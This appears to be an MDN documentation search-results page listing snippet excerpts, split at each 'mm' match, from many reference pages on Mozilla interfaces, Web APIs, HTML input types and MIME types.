mming is based on the used of inheritance between classes. furthermore, a class can be de declared to be "abstract" if it declares some methods but does not implement them entirely. pushing this concept to its maximum, a class can be "purely virtual" if it declares methods without implementing any of them. such a class is called an interface. the goal of interfaces is to have a single ... interface ...
...tly through fooptr, however your code will not be very robust. indeed, if someone decides to change the name or the signature of the methods you use, you will have to change all the calls to those methods throughout your code. as opposed to a concreate class, an interface is supposed to be more stable through time. ...
...And 6 more matches
nsIMsgMessageService
dow amsgwindow, in nsiurllistener aurllistener, in string acharsetoverride, out nsiuri aurl); void openattachment(in string acontenttype, in string afilename, in string aurl, in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener); void savemessagetodisk(in string amessageuri, in nsifilespec afile, in boolean ageneratedu
mmyenvelope, in nsiurllistener aurllistener, out nsiuri aurl, in boolean canonicallineending, in nsimsgwindow amsgwindow); void geturlforuri(in string amessageuri, out nsiuri aurl, in nsimsgwindow amsgwindow); void displaymessageforprinting(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, out nsiuri aurl); ...
...string amessageuri, out nsiuri aurl, in nsimsgwindow amsgwindow); void displaymessageforprinting(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, out nsiuri aurl); void search(in nsimsgsearchsession asearchsession, in nsimsgwindow amsgwindow, in nsimsgfolder amsgfolder, in string asearchuri); nsiuri strea
mmessage(in string amessageuri, in nsisupports aconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, in boolean aconvertdata, in string aadditionalheader); nsiuri streamheaders(in string amessageuri, in nsistreamlistener aconsumer, in nsiurllistener aurllistener [optional] in boolean alocalonly); boolean ismsginmemcache(in nsiuri aurl, in nsimsgfolder afolder, out ...
... and status feedback aurllistener an nsiurllistener. savemessagetodisk() when you want to spool a message out to a file on disk. this is an async operation of course.note: you must pass in a url listener in order to figure out when the operation is done. void savemessagetodisk(in string amessageuri, in nsifilespec afile, in boolean ageneratedu
mmyenvelope, in nsiurllistener aurllistener, out nsiuri aurl, in boolean canonicallineending, in nsimsgwindow amsgwindow); parameters amessageuri url representing the message to spool out to disk. afile the file you want the message saved to. ageneratedu
mmyenvelope usually false. set to true if ...
...And 6 more matches
nsISmsRequestManager
inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsrequestmanager;1. ...
...firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsrequestmanager;1. ...
...seamonkey 2.12) implemented by: @mozilla.org/sms/smsrequestmanager;1. ...
...And 6 more matches
nsIZipWriter
exceptions thrown ns_error_not_initialized if no zip file has been opened. file nsifile the zip file being written to. read only. inqueue boolean true if operations are being performed in the background queue, or false if background operations are not ...
... exceptions thrown ns_error_not_initialized if no zip file has been opened. file nsifile the zip file being written to. read only. inqueue boolean true if operations are being performed in the background queue, or false if background operations are not in progress. read only. constants...
...l be located at within the zip file. note: you must use forward slashes ('/') in the path. amodtime the modification time of the entry in microseconds. acompression one of the compression constants, indicating the compression method to use. achannel the channel from which to get the data. aqueue if true, the operation is queued for later execution. if false, the operation is performed i
mmediately. will be performed when processqueue() is called. exceptions thrown ns_error_not_initialized no zip file is open. ns_error_file_already_exists the specified path already exists in the zip file. ns_error_in_progress the zip writer is already performing another operation. addentrydirectory() adds a new directory entry to the zip file. if azipentry does not end with "/" then it ...
...And 6 more matches
Performance
mozstorage uses sqlite as the database backend. it has generally good performance for a small embedded database. however, many things cause various database operations to be slow. transactions there is overhead associated with each transaction. when you execute a sql statement in isolation, an implicit transaction is created around that statement. when transactions are co
mmitted, sqlite does journaling which requires syncing data to disk. this operation is extremely slow. therefore, if you are doing many transactions in a row, you will get significant performance improvements by surrounding them in a transaction. the asynchronous writes discussed below removes most of the i
mmediate penalty of a co
mmit, so you will not notice the problem as much. however, there is still overhead, and ...
... site for information on how sqlite uses indices and executes statements. you might also want to try to the "explain" feature on your statements to see if they are using the indices you expect. type "explain" followed by your statement to see the plan. for example, explain select * from moz_history; the results are hard to understand, but you should be able to see whether it is using indices. a co
mmand that will give you a higher level overview is "explain query plan". for example sqlite> explain query plan select * from moz_historyvisit v join moz_history h on v.page_id = h.id where v.visit_date > 1000000000; 0|0|table moz_historyvisit as v with index moz_historyvisit_dateindex 1|1|table moz_history as h using primary key this tells us that it will first look up in moz_historyvisit...
...p in moz_historyvisit using an index, and will then look up in moz_history using the primary key. both of these are "good" because they use indices and primary keys, which are fast. sqlite> explain query plan select * from moz_historyvisit where session = 12; 0|0|table moz_historyvisit in this example, you can see that it is not using an index, so this query would be slow. you can download the co
mmand line tool from the sqlite download page. be sure you have a version of the co
mmand line tool that is at least as recent as what mozilla uses. as of april 10, 2006, mozilla uses sqlite 3.3.4, but the latest precompiled version of the co
mmand line tools is not available for all platforms. this will lead to errors that say "database is encrypted" because the tool is not able to recognize the file...
...And 6 more matches
Plug-in Basics - Plugins
ent software vendors who are creating new and innovative plug-ins. with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using urls post data to urls add hyperlinks or hotspots that link to new urls draw into sections on an html page co
mmunicate with javascript/dom from native code you can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the installed plug-ins page. go to the help menu, and click help and then about plug-ins. type "about:plugins" in the location bar. the installed plug-ins page lists each installed plug-in along with its mime type or types, descript...
...ile. ~/.mozilla/plugins. /usr/lib/mozilla/plugins (the 64-bit firefox checks /usr/lib64/mozilla/plugins as well). /usr/lib64/firefox/plugins (for 64-bit firefox) note: firefox nightly checks a subset of these locations. also some linux distributions provide a system browser configured differently. advanced: you can determine which directories a gecko program checks with the linux strace co
mmand, for example: strace -e open /usr/bin/firefox 2>&1 | grep plugin but with version firefox-41.0.2 we can not check. i found other way how check which paths support firefox : $ strace -y /usr/bin/firefox 2>&1 | grep acces | grep -v search | grep plugins access("/home/user_name/.mozilla/firefox/dqh2nb5k.default-1441864569209/plugins", f_ok) = -1 enoent (no such file or directory) access("/home...
...er_name/.mozilla/firefox/dqh2nb5k.default-1441864569209/plugins", f_ok) = -1 enoent (no such file or directory) access("/home/user_name/.mozilla/plugins", f_ok) = -1 enoent (no such file or directory) access("/usr/lib64/firefox/browser/plugins", f_ok) = -1 enoent (no such file or directory) access("/usr/lib/mozilla/plugins", f_ok) = 0 this output i have after close firefox. i checked also this co
mmand with above script (with environment variable) on my system and also working. however, primary working path with binary file was /usr/lib/mozilla/plugins for 32-bit and 64-bit linux distributions and looks still working. firefox and opensuse probably use "moz_plugin_path environment variable" in script to run firefox, so in this way /usr/lib64/mozilla/plugins also should be supported. about...
...And 6 more matches
The JavaScript input interpreter - Firefox Developer Tools
press shift+enter after typing each line, then enter to run all the entered lines. the expression you type is echoed under the input prompt, followed by the result. if your input does not appear to be complete when you press enter, then the console treats this as shift+enter , enabling you to finish your input. for example, if you type: function foo() { and then enter, the console does not i
mmediately execute the input, but behaves as if you had pressed shift+enter , so you can finish entering the function definition. multi-line mode for multi-line entry, click the "split pane" icon at the right hand side of the single-line entry field, or press ctrl+b (windows/linux) or cmd+b (macos). the multi-line editing pane opens on the left side the of web console. you can enter multiple l...
... $(selector, element) looks up a css selector string selector , returning the first node descended from element that matches. if unspecified, element defaults to document. equivalent to document.queryselector() or calls the $ function in the page, if it exists. ...
... $(selector, element) looks up a css selector string selector , returning the first node descended from element that matches. if unspecified, element defaults to document. equivalent to document.queryselector() or calls the $ function in the page, if it exists. see the queryselector c...
...And 6 more matches
AudioTrack.enabled - Web APIs
isaudioenabled = audiotrack.enabled; audiotrack.enabled = true | false; value the enabled property is a boolean whose value is true if the track is enabled; enabled tracks produce audio while the media is playing. setting enabled to false effectively mutes the audio track, preventing it from contributing to the media's audio performance. ...
... = true | false; value the enabled property is a boolean whose value is true if the track is enabled; enabled tracks produce audio while the media is playing. setting enabled to false effectively mutes the audio track, preventing it from contributing to the media's audio performance. example this example switches between the main and co
mmentary audio tracks of a media element. ...
...acks produce audio while the media is playing. setting enabled to false effectively mutes the audio track, preventing it from contributing to the media's audio performance. example this example switches between the main and co
mmentary audio tracks of a media element. ...
...And 6 more matches
KeyboardEvent: code values - Web APIs
029 "backquote" "backquote" 0x002a "shiftleft" "shiftleft" 0x002b "backslash" "backslash" 0x002c "keyz" "keyz" 0x002d "keyx" "keyx" 0x002e "keyc" "keyc" 0x002f "keyv" "keyv" 0x0030 "keyb" "keyb" 0x0031 "keyn" "keyn" 0x0032 "keym" "keym" 0x0033 "co
mma" "co
mma" 0x0034 "period" "period" 0x0035 "slash" "slash" 0x0036 "shiftright" "shiftright" 0x0037 "numpadmultiply" "numpadmultiply" 0x0038 "altleft" "altleft" 0x0039 "space" "space" 0x003a "capslock" "capslock" 0x003b "f1" "f1" 0x003c "f2" "f2" 0x003d ...
...intlro" "" 0x0074, 0x0075 "unidentified" "" 0x0076 "f24" "" 0x0077, 0x0078 "unidentified" "" 0x0079 "convert" "" 0x007a "unidentified" "" 0x007b "nonconvert" "" 0x007c "unidentified" "" 0x007d "intlyen" "intlyen" 0x007e "numpadco
mma" "" 0x007f "unidentified" "" 0xe000 ~ 0xe007 "unidentified" "" 0xe008 "unidentified" "undo" 0xe009 "unidentified" "" 0xe00a "" "paste" 0xe00b ~ 0xe00f "" "" 0xe010 "mediatrackprevious" "mediatrackprevious" 0xe011 ~ 0xe016 "" "" ...
..."keyp" kvk_return (0x24) "enter" "enter" kvk_ansi_l (0x25) "keyl" "keyl" kvk_ansi_j (0x26) "keyj" "keyj" kvk_ansi_quote (0x27) "quote" "quote" kvk_ansi_k (0x28) "keyk" "keyk" kvk_ansi_semicolon (0x29) "semicolon" "semicolon" kvk_ansi_backslash (0x2a) "backslash" "backslash" kvk_ansi_co
mma (0x2b) "co
mma" "co
mma" kvk_ansi_slash (0x2c) "slash" "slash" kvk_ansi_n (0x2d) "keyn" "keyn" kvk_ansi_m (0x2e) "keym" "keym" kvk_ansi_period (0x2f) "period" "period" kvk_tab (0x30) "tab" "tab" kvk_space (0x31) "space" "space" kvk_ansi_grave (0x32) "backquote" "backquote" kvk_de...
...And 6 more matches
SpeechRecognition - Web APIs
e chrome, using speech recognition on a web page involves a server-based recognition engine. your audio is sent to a web service for recognition processing, so it won't work offline. constructor speechrecognition.speechrecognition() creates a new speechrecognition object. properties speechrecognition also inherits properties from its parent interface, eventtarget. speechrecognition.gra
mmars returns and sets a collection of speechgra
mmar objects that represent the gra
mmars that will be understood by the current speechrecognition. speechrecognition.lang returns and sets the language of the current speechrecognition. if not specified, this defaults to the html lang attribute value, or the user agent's language setting if that isn't set either. speechrecognition.continuous contr...
...s default speech service. methods speechrecognition also inherits methods from its parent interface, eventtarget. speechrecognition.abort() stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a speechrecognitionresult. speechrecognition.start() starts the speech recognition service listening to incoming audio with intent to recognize gra
mmars associated with the current speechrecognition. speechrecognition.stop() stops the speech recognition service from listening to incoming audio, and attempts to return a speechrecognitionresult using the audio captured so far. events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface. audiostart fired when the ...
...operty. nomatch fired when the speech recognition service returns a final result with no significant recognition. this may involve some degree of recognition, which doesn't meet or exceed the confidence threshold. also available via the onnomatch property. result fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been co
mmunicated back to the app. also available via the onresult property. soundstart fired when any sound — recognisable speech or not — has been detected. also available via the onsoundstart property. soundend fired when any sound — recognisable speech or not — has stopped being detected. also available via the onsoundend property. speechstart fired when sound that is recognised by the...
...And 6 more matches
Signaling and video calling - Web APIs
of our websocket documentation (this article link is forthcoming; it isn't actually online yet) to support opening a two-way video call between users. you can try out this example on glitch, and you can remix the example to experiment with it as well. you can also look at the full project on github. note: if you try out the example on glitch, please note that any changes made to the code will i
mmediately reset any connections. in addition, there is a short timeout period; the glitch instance is for quick experiments and testing only. the signaling server establishing a webrtc connection between two devices requires the use of a signaling server to resolve how to connect them over the internet. a signaling server's job is to serve as an intermediary to let two peers find and establish a...
...quation. now let's consider the signaling protocol we will implement. designing the signaling protocol now that we've built a mechanism for exchanging messages, we need a protocol defining how those messages will look. this can be done in a number of ways; what's demonstrated here is just one possible way to structure signaling messages. this example's server uses stringified json objects to co
mmunicate with its clients. this means our signaling messages will be in json format, with contents which specify what kind of messages they are as well as any additional information needed in order to handle the messages properly. exchanging session descriptions when starting the signaling process, an offer is created by the user initiating the call. this offer includes a session description, in ...
...hich codecs and codec parameters are to be used for this call. they still don't know how to transmit the media data itself though. this is where interactive connectivity establishment (ice) comes in. exchanging ice candidates two peers need to exchange ice candidates to negotiate the actual connection between them. every ice candidate describes a method that the sending peer is able to use to co
mmunicate. each peer sends candidates in the order they're discovered, and keeps sending candidates until it runs out of suggestions, even if media has already started streaming. an icecandidate event is sent to the rtcpeerconnection to complete the process of adding a local description using pc.setlocaldescription(offer). once the two peers agree upon a mutually-compatible candidate, that candida...
...And 6 more matches
WebRTC API - Web APIs
the set of standards that comprise webrtc makes it possible to share data and perform teleconferencing peer-to-peer, without requiring that the user installs plug-ins or any other third-party software. webrtc consists of several interrelated apis and protocols which work together to achieve this. the documentation you'll find here will help you understand the fundamentals of webrtc, how to set up and use both data and media connections, and more. ...
...t tone in the rtcdtmfsender's tonebuffer has been sent and the buffer is now empty. the event's type is rtcdtmftonechangeevent. guides introduction to webrtc protocols this article introduces the protocols on top of which the webrtc api is built. webrtc connectivity a guide to how webrtc connections work and how the various protocols and interfaces can be used together to build powerful co
mmunication apps. lifetime of a webrtc session webrtc lets you build peer-to-peer co
mmunication of arbitrary data, audio, or video—or any combination thereof—into a browser application. in this article, we'll look at the lifetime of a webrtc session, from establishing the connection all the way through closing the connection when it's no longer needed. establishing a connection: the perfect n...
...-to-peer co
mmunication of arbitrary data, audio, or video—or any combination thereof—into a browser application. in this article, we'll look at the lifetime of a webrtc session, from establishing the connection all the way through closing the connection when it's no longer needed. establishing a connection: the perfect negotiation pattern perfect negotiation is a design pattern which is reco
mmended for your signaling process to follow, which provides transparency in negotiation while allowing both sides to be either the offerer or the answerer, without significant coding needed to differentiate the two. signaling and two-way video calling a tutorial and example which turns a websocket-based chat system created for a previous example and adds support for opening video calls among part...
...And 6 more matches
Rendering and the WebXR frame animation callback - Web APIs
osition and viewing direction. once that's in hand, you request that the browser call your rendering function the next time it needs a framebuffer to render your scene. this is done by calling the xrsession method requestanimationframe(). ...
...space; async function runxr(xrsession) { worldrefspace = await xrsession.requestreferencespace("i
mmersive-vr"); if (worldrefspace) { viewerrefspace = worldrefspace.getoffsetreferencespace( new xrrigidtransform(viewerstartposition, viewerstartorientation)); animationframerequestid = xrsession.requestanimationframe(mydrawframe); } } after getting a reference space for the i
mmersive world, this creates an offset reference space representing the position and orientation of the viewer by creating an xrrigidtransform representing that position and orientation, then calling the xrreferencespace method getoffsetreferencespace(). then the first animation frame is scheduled by calling the xrsession method requestanimationframe(), providing a callback function, mydrawframe(),...
...ate. that means that the maximum number of frames it can display in a second is 60. no matter how many frames per second you render beyond that, only 60 of them will make it to the screen in the course of a second. but not all displays run at 60 hz; nowadays, higher performance displays are beginning to use much higher refresh rates. 120 hz—or 120 frame per second—displays are increasingly co
mmon, for example. the browser always tries to refresh at the same rate as the display, which means that on some computers, your callback will be run a maximum of 60 times per second, while on others it might be called 90 or 120 times per second or even more, depending on the frame rate. time available to render each frame this makes using the most of the time available between frames critical. if...
...And 6 more matches
Web Authentication API - Web APIs
the web authentication api is an extension of the credential management api that enables strong authentication with public key cryptography, enabling passwordless authentication and/or secure second-factor authentication without sms texts. web authentication concepts and usage the web authentication api (also referred to as webauthn) uses asy
mmetric (public-key) cryptography instead of passwords or sms texts for registering, authenticating, and second-factor authentication with websites. this resolves significant security problems related to phishing, data breaches, and attacks against sms texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords).
...entication api acts as a replacement or supplement to those on those existing webpages. similar to the other forms of the credential management api, the web authentication api has two basic methods that correspond to register and login: navigator.credentials.create() - when used with the publickey option, creates new credentials, either for registering a new account or for associating a new asy
mmetric key pair credentials with an existing account. navigator.credentials.get() - when used with the publickey option, uses an existing set of credentials to authenticate to a service, either logging a user in or as a form of second-factor authentication. please note: both create() and get() require a secure context (e.g. - the server is connected by https or is the localhost), and will not be...
...provide an overview. the full set of required fields, optional fields, and their meanings for creating a registration request can be found in the publickeycredentialcreationoptions dictionary. likewise, the full set of response fields can be found in the publickeycredential interface (where publickeycredential.response is the authenticatorattestationresponse interface). note most javascript progra
mmers that are creating an application will only really care about steps 1 and 5 where the create() function is called and subsequently returns; however, steps 2, 3, and 4 are essential to understanding the processing that takes place in the browser and authenticator and what the resulting data means. figure 1 - a diagram showing the sequence of actions for a web authentication registration and t...
...And 6 more matches
window.location - Web APIs
tus et malesuada fames ac turpis egestas. donec a mi magna, quis mattis dolor. etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. mauris vel consectetur dolor. nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. phasellus adipiscing fermentum nibh ac co
mmodo. nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.</p> <p>duis lobortis sapien quis nisl luctus porttitor. in tempor semper libero, eu tincidunt dolor eleifend sit amet. ut nec velit in dolor tincidunt rhoncus non non diam. morbi auctor ornare orci, non euismod felis gravida nec. curabitur elementum nisi a eros rutrum nec blandit diam placerat. aenean tincidunt risus ut nisi con...
...i, porta vitae molestie ut, gravida ut nunc. ut non est dui, id ullamcorper orci. praesent vel elementum felis. maecenas ornare, dui quis auctor hendrerit, turpis sem ullamcorper odio, in auctor magna metus quis leo. morbi at odio ante.</p> <p>curabitur est ipsum, porta ac viverra faucibus, eleifend sed eros. in sit amet vehicula tortor. vestibulum viverra pellentesque erat a elementum. integer co
mmodo ultricies lorem, eget tincidunt risus viverra et. in enim turpis, porttitor ac ornare et, suscipit sit amet nisl. vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; pellentesque vel ultrices nibh. sed co
mmodo aliquam aliquam. nulla euismod, odio ut eleifend mollis, nisi dui gravida nibh, vitae laoreet turpis purus id ipsum. donec convallis, velit non sceler...
...am nulla auctor nunc, vel dictum risus ipsum sit amet est. praesent ut nibh sit amet nibh congue pulvinar. suspendisse dictum porttitor tempor.</p> <p>vestibulum dignissim erat vitae lectus auctor ac bibendum eros semper. integer aliquet, leo non ornare faucibus, risus arcu tristique dolor, a aliquet massa mauris quis arcu. in porttitor, lectus ac semper egestas, ligula magna laoreet libero, eu co
mmodo mauris odio id ante. in hac habitasse platea dictumst. in pretium erat diam, nec consequat eros. praesent augue mi, consequat sed porttitor at, volutpat vitae eros. sed pretium pharetra dapibus. donec auctor interdum erat, lacinia molestie nibh co
mmodo ut. maecenas vestibulum vulputate felis, ut ullamcorper arcu faucibus in. curabitur id arcu est. in semper mollis lorem at pellentesque. sed le...
...And 6 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
= scope.setinterval(function[, delay]); var intervalid = scope.setinterval(code, [delay]); parameters func a function to be executed every delay milliseconds. the function is not passed any arguments, and no return value is expected. code an optional syntax allows you to include a string instead of a function, which is compiled and executed every delay milliseconds. this syntax is not reco
mmended for the same reasons that make using eval() a security risk. delayoptional the time, in milliseconds (thousandths of a second), the timer should delay in between executions of the specified function or code. see delay restrictions below for details on the permitted range of delay values. arg1, ..., argn optional additional arguments which are passed through to the function specified by f...
...lse, bstart = true, nidx = 0, spart = "", asheets = [], amap = []; this.rate = nrate || 100; this.play = function () { if (btyping) { return; } if (bstart) { var aitems = document.queryselectorall(sselector); if (aitems.length === 0) { return; } for (var nitem = 0; nitem < aitems.length; nitem++) { asheets.push(new sheet(aitems[nitem])); /* unco
mment the following line if you have previously hidden your elements via css: */ // aitems[nitem].style.visibility = "visible"; } bstart = false; } nintervid = setinterval(typewrite, this.rate); btyping = true; }; this.pause = function () { clearinterval(nintervid); btyping = false; }; this.terminate = function () { ocurrent.nodevalue += spart;...
...tus et malesuada fames ac turpis egestas. donec a mi magna, quis mattis dolor. etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. mauris vel consectetur dolor. nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. phasellus adipiscing fermentum nibh ac co
mmodo. nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.</p> <form> <p>phasellus ac nisl lorem: <input type="text" /><br /> <textarea style="width: 400px; height: 200px;">nullam co
mmodo suscipit lacus non aliquet. phasellus ac nisl lorem, sed facilisis ligula. nam cursus lobortis placerat. sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. pellentesque dapibus tellus ut ...
...And 6 more matches
Index - Developer guides
found 43 pages: # page tags and su
mmary 1 developer guides api, guide, landing, web these articles provide how-to information to help make use of specific web technologies and apis. 2 ajax ajax, dom, json, javascript, references, xmlhttprequest asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together 3 co
mmunity ajax if you know of useful mailing lists, newsgroups, forums, or other co
mmunities related to ajax, please link to them here. 4 getting started ajax, api, advanced, javascript, webmechanics, xmlhttprequest this article guides you through the aj...
...often shortened to just streaming, live streaming is the process of transmitting media 'live' to computers and devices. this is a fairly complex and nascent subject with a lot of variables, so in this article, we'll introduce you to the subject and let you know how you can get started. 11 media buffering, seeking, and time ranges apps, buffer, html5, timera...
...ing timeranges, and other features of the media api. 12 setting up adaptive streaming media sources audio, hls, html5, http live streaming, mpeg-dash, video, adaptive streaming let's say you want to set up an adaptive streaming media source on a server, to be consumed inside an html5 media element. how would you do that? this article explains how, looking at two of the most co
mmon formats: mpeg-dash and hls (http live streaming.) 13 video player styling basics apps, guide, media, styling, video in the previous cross browser video player article we described how to build a cross-browser html5 video player using the media and fullscreen apis. this follow-up article looks at how to style this custom player, including making it responsive. 14 ...
...And 6 more matches
HTML attribute reference - HTML: Hypertext Markup Language
f already buffered media. capture <input> from the html media capturethe definition of 'media capture' in that specification.spec, specifies a new file can be captured. challenge <keygen> a challenge string that is submitted along with the public key. charset <meta>, <script> declares the character encoding of the page or script. checked <co
mmand>, <input> indicates whether the element should be checked on page load. cite <blockquote>, <del>, <ins>, <q> contains a uri which points to the source of the quote or change. class global attribute often used with css to style elements with co
mmon properties. code <applet> specifies the url of the applet's class file to be loaded and executed. ...
... the track should be enabled unless the user's preferences indicate something different. defer <script> indicates that the script should be executed after the page has been parsed. dir global attribute defines the text direction. allowed values are ltr (left-to-right) or rtl (right-to-left) dirname <input>, <textarea> disabled <button>, <co
mmand>, <fieldset>, <input>, <keygen>, <optgroup>, <option>, <select>, <textarea> indicates whether the user can interact with the element. download <a>, <area> indicates that the hyperlink is to be used for downloading a resource. draggable global attribute defines whether the element can be dragged. dropzone global attribute indicates that the elemen...
... formaction <input>, <button> indicates the action of the element, overriding the action defined in the <form>. formenctype <button>, <input> if the button/input is a submit button (type="submit"), this attribute sets the encoding type to use during form submission. if this attribute is specified, it overrides the enctype attribute of the button's form owner. for
mmethod <button>, <input> if the button/input is a submit button (type="submit"), this attribute sets the submission method to use during form submission (get, post, etc.). if this attribute is specified, it overrides the method attribute of the button's form owner. formnovalidate <button>, <input> if the button/input is a submit button (type="submit"), this boolean attribute sp...
...And 6 more matches
<input type="date"> - HTML: Hypertext Markup Language
browser; see browser compatibility for further details. in unsupported browsers, the control degrades gracefully to <input type="text">. among browsers with custom interfaces for selecting dates are chrome and opera, whose data control looks like so: the edge date control looks like: and the firefox date control looks like this: value a domstring representing a date in yyyy-
mm-dd format, or empty events change and input supported co
mmon attributes autocomplete, list, readonly, and step idl attributes list, value, valueasdate, valueasnumber. methods select(), stepdown(), stepup() value a domstring representing the date entered in the input. the date is formatted according to iso8601, described in format of a valid ...
...cribed in format of a valid date string in date and time formats used in html. you can set a default value for the input with a date inside the value attribute, like so: <input type="date" value="2017-06-01"> the displayed date format will differ from the actual value — the displayed date is formatted based on the locale of the user's browser, but the parsed value is always formatted yyyy-
mm-dd. you can get and set the date value in javascript with the input element's value and valueasnumber properties. for example: var datecontrol = document.queryselector('input[type="date"]'); datecontrol.value = '2017-06-01'; console.log(datecontrol.value); // prints "2017-06-01" console.log(datecontrol.valueasnumber); // prints 1496275200000, a unix timestamp this code finds the first <input>...
...); datecontrol.value = '2017-06-01'; console.log(datecontrol.value); // prints "2017-06-01" console.log(datecontrol.valueasnumber); // prints 1496275200000, a unix timestamp this code finds the first <input> element whose type is date, and sets its value to 2017-06-01 (june 1st, 2017). it then reads that value back in string and number formats. additional attributes along with the attributes co
mmon to all <input> elements, date inputs have the following attributes: attribute description max the latest acceptable date min the earliest acceptable date step the stepping interval, when clicking up and down spinner buttons and validating the date max the latest date to accept. if the value entered into the element occurs afterward, t...
...And 6 more matches
<input type="email"> - HTML: Hypertext Markup Language
invalid css pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid e-mail address or not. on browsers that don't support inputs of type email, a email input falls back to being a standard text input. value a domstring representing an e-mail address, or empty events change and input supported co
mmon attributes autocomplete, list, maxlength, minlength, multiple, name,pattern, placeholder, readonly, required, size, and type idl attributes list and value methods select() value the <input> element's value attribute contains a domstring which is automatically validated as conforming to e-mail syntax. more specifically, there are three possible value formats th...
.... this doesn't necessarily mean the e-mail address exists, but it is at least formatted correctly. in simple terms, this means username@domain or username@domain.tld. there's more to it than that, of course; see validation for a regular expression that matches the e-mail address validation algorithm. if and only if the multiple attribute is specified, the value can be a list of properly-formed co
mma-separated e-mail addresses. any trailing and leading whitespace is removed from each address in the list. see validation for details on how e-mail addresses are validated to ensure that they're formatted properly. additional attributes in addition to the attributes that operate on all <input> elements regardless of their type, email inputs support the following attributes: attribut...
...ibutes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum number of characters the input should accept minlength the minimum number of characters long the input can be and still be considered valid multiple whether or not to allow multiple, co
mma-separated, e-mail addresses to be entered pattern a regular expression the input's contents must match in order to be valid placeholder an exemplar value to display in the input field whenever it is empty readonly a boolean attribute indicating whether or not the contents of the input should be read-only size a number indicating how many characters...
...And 6 more matches
<input type="file"> - HTML: Hypertext Markup Language
using javascript code and the file api. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a domstring representing the path to the selected file. ...
...ment.files property. note: if multiple files are selected, the string represents the first selected file. javascript can access the other files through the input's files property. if no file is yet selected, the string is "" (empty). the string is prefixed with c:\fakepath\, to prevent malicious software from guessing the user's file structure. ...
...ifiers describing file types to allow capture what source to use for capturing image or video data files a filelist listing the chosen files multiple a boolean which, if present, indicates that the user may choose more than one file accept the accept attribute value is a string that defines the file types the file input should accept. this string is a co
mma-separated list of unique file type specifiers. because a given file type may be identified in more than one manner, it's useful to provide a thorough set of type specifiers when you need files of a given format. for instance, there are a number of ways microsoft word files can be identified, so a site that accepts word files might use an <input> like this: <input type="file" id="docpicker" a...
...And 6 more matches
Microformats - HTML: Hypertext Markup Language
these minimal patterns of html are used for marking up entities that range from fundamental to domain-specific information, such as people, organizations, events, and locations. microformats use supporting vocabularies to describe objects and name-value pairs to assign values to their properties. the properties are carried in class attributes that can be added to any html element, while the data values re-use html element content and semantic attributes. ...
...el root classes usually indicate a type and corresponding expected vocabulary of properties. for example: h-card describes a person or organization h-entry describes episodic or date stamped online content like a blog post h-feed describes a stream or feed of posts you can find many more vocabularies on the microformats2 wiki. "p-*" for plain (text) properties, e.g. "p-name", "p-su
mmary" generic plain text parsing, element text in general. on certain html elements, use special attributes first, e.g. img/alt, abbr/title. "u-*" for url properties, e.g. "u-url", "u-photo", "u-logo" special parsing: element attributes a/href, img/src, object/data etc. attributes over element contents. "dt-*" for datetime properties, e.g. "dt-start", "dt-end", "dt-bday" speci...
.... h-entry is often used with content intended to be syndicated, e.g. blog posts. example h-entry as a blog post: <article class="h-entry"> <h1 class="p-name">microformats are amazing</h1> <p>published by <a class="p-author h-card" href="http://example.com">w. ...
...And 6 more matches
MIME types (IANA media types) - HTTP
currently registered with the iana are: applicationlist at iana any kind of binary data that doesn't fall explicitly into one of the other types; either data that will be executed or interpreted in some way or binary data that requires a specific application or category of application to use. generic binary data (or binary data whose true type is unknown) is application/octet-stream. other co
mmon examples include application/pdf, application/pkcs8, and application/zip. audio list at iana audio or music data. examples include audio/mpeg, audio/vorbis. example reserved for use as a placeholder in examples showing how to use mime types. these should never be used outside of sample code listings and documentation. example can also be used as a subtype; for instance, in an example relate...
.... these should never be used outside of sample code listings and documentation. example can also be used as a subtype; for instance, in an example related to working with audio on the web, the mime type audio/example can be used to indicate that the type is a placeholder and should be replaced with an appropriate one when using the code in the real world. font list at iana font/typeface data. co
mmon examples include font/woff, font/ttf, and font/otf. image list at iana image or graphical data including both bitmap and vector still images as well as animated versions of still image formats such as animated gif or apng. co
mmon examples are image/jpeg, image/png, and image/svg+xml. model list at iana model data for a 3d object or scene. examples include model/3mf and model/vml. text list...
...examples include text/plain, text/csv, and text/html. video list at iana video data or files, such as mp4 movies (video/mp4). for text documents without a specific subtype, text/plain should be used. ...
...And 6 more matches
Digital audio concepts - Web media technologies
led the channel count. while recording or generating multi-channel audio files, the channels are assembled into a series of audio frames, each consisting of one sample for each of the audio's channels. an individual sample is a numeric value representing the amplitude of the sound waveform at a single moment in time, and may be represented in various formats. ...
